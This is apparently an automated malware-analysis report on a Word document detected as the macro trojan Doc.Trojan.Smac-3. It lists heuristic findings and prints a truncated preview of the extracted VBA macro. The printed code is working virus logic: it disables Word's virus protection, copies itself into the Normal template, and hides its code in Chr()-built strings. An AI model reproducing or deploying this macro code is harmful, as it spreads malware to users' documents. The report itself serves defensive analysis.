MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Microsoft Word document containing a VBA macro that executes automatically upon opening (AutoOpen). The macro attempts to install itself into the Normal template and the active document, likely to achieve persistence and spread. The script obfuscates strings and uses a custom function 'Morph' to decode them, which is a common technique for malware to evade detection. The ClamAV detection 'Doc.Trojan.Smac-3' further confirms its malicious nature.
Heuristics 5
-
ClamAV: Doc.Trojan.Smac-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Smac-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 75830 bytes |
SHA-256: dfa4b7aa13e398c2cf204a8c369e9b1f2236d7ed6cd8d261505cc3ccfd75e383 |
|||
|
Detection
ClamAV:
Doc.Trojan.Smac-3
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const Ofile = "z#Ez{-(((7mam": Const Ifile = "z#E~|wplj7mam": Const Fmac = "z{-((("
Const Smac = "z{Fklw": Const Tool = "Mvvuj": Const Mmac = "Txzkv"
Const Mtemp = "M|tiuxm|j9xw}9X}}4Pwj777": Const Mform = "_vktxm": Const Mstyl = "Jm`u|777"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = Morph(Smac, 25) Then GoTo Label_Exit
If NormalTemplate.VBProject.VBComponents(I).Name = Morph(Fmac, 25) Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = Morph(Fmac, 25) Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = True Then GoTo Label_Exit
If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument
If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate
Doc.VBProject.VBComponents(Morph(Fmac, 25)).Export (Morph(Ofile, 25))
Call GeniusFunction
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
Label_Exit:
CommandBars(Morph(Tool, 25)).Controls(Morph(Mmac, 25)).Delete
CommandBars(Morph(Tool, 25)).Controls(Morph(Mtemp, 25)).Delete
CommandBars(Morph(Mform, 25)).Controls(Morph(Mstyl, 25)).Delete
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Function GeniusFunction()
Application.ScreenUpdating = False
Dim decrypt(23)
decrypt(1) = Chr(65) + Chr(116) + Chr(116) + Chr(114) + Chr(105) + Chr(98) + Chr(117) + Chr(116) + Chr(101) + Chr(32) + Chr(86) + Chr(66) + Chr(95) + Chr(78) + Chr(97) + Chr(109) + Chr(101) + Chr(32) + Chr(61) + Chr(32) + Chr(34) + Chr(99) + Chr(98) + Chr(95) + Chr(114) + Chr(117) + Chr(110) + Chr(34)
decrypt(2) = Chr(83) + Chr(117) + Chr(98) + Chr(32) + Chr(65) + Chr(117) + Chr(116) + Chr(111) + Chr(67) + Chr(108) + Chr(111) + Chr(115) + Chr(101) + Chr(40) + Chr(41)
decrypt(3) = Chr(79) + Chr(110) + Chr(32) + Chr(69) + Chr(114) + Chr(114) + Chr(111) + Chr(114) + Chr(32) + Chr(82) + Chr(101) + Chr(115) + Chr(117) + Chr(109) + Chr(101) + Chr(32) + Chr(78) + Chr(101) + Chr(120) + Chr(116)
decrypt(4) = Chr(73) + Chr(102) + Chr(32) + Chr(68) + Chr(97) + Chr(121) + Chr(40) + Chr(78) + Chr(111) + Chr(119) + Chr(41) + Chr(32) + Chr(61) + Chr(32) + Chr(55) + Chr(32) + Chr(65) + Chr(110) + Chr(100) + Chr(32) + Chr(77) + Chr(111) + Chr(110) + Chr(116) + Chr(104) + Chr(40) + Chr(78) + Chr(111) + Chr(119) + Chr(41) + Chr(32) + Chr(61) + Chr(32) + Chr(57) + Chr(32) + Chr(84) + Chr(104) + Chr(101) + Chr(110) + Chr(32) + Chr(77) + Chr(115) + Chr(103) + Chr(66) + Chr(111) + Chr(120) + Chr(32) + Chr(34) + Chr(67) + Chr(66) + Chr(52) + Chr(49) + Chr(49) + Chr(49) + Chr(32) + Chr(69) + Chr(114) + Chr(114) + Chr(111) + Chr(114) + Chr(33) + Chr(32) + Chr(80) + Chr(114) + Chr(101) + Chr(115) + Chr(115) + Chr(32) + Chr(79) + Chr(75) + Chr(32) + Chr(116) + Chr(111) + Chr(32) + Chr(114) + Chr(101) + Chr(115) + Chr(117) + Chr(109) + Chr(101) + Chr(46) + Chr(34) + Chr(44) + Chr(32) + Chr(118) + Chr(98) + Chr(67) + Chr(114) + Chr(105) + Chr(116) + Chr(105) + Chr(99) + Chr(97) + Chr(108)
decrypt(5) = Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(46) + Chr(68) + Chr(105) + Chr(115) + Chr(112) + Chr(108) + Chr(97) + Chr(121) + Chr(65) + Chr(108) + Chr(101) + Chr(114) + Chr(116) + Chr(115) + Chr(32) + Chr(61) + Chr(32) + Chr(119) + Chr(100) + Chr(65) + Chr(108) + Chr(101) + Chr(114) + Chr(116) + Chr(115) + Chr(78) + Chr(111) + Chr(110) + Chr(101)
decrypt(6) = Chr(70) + Chr(111) + Chr(114) + Chr(32) + Chr(73) + Chr(32) + Chr(61) + Chr(32)
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.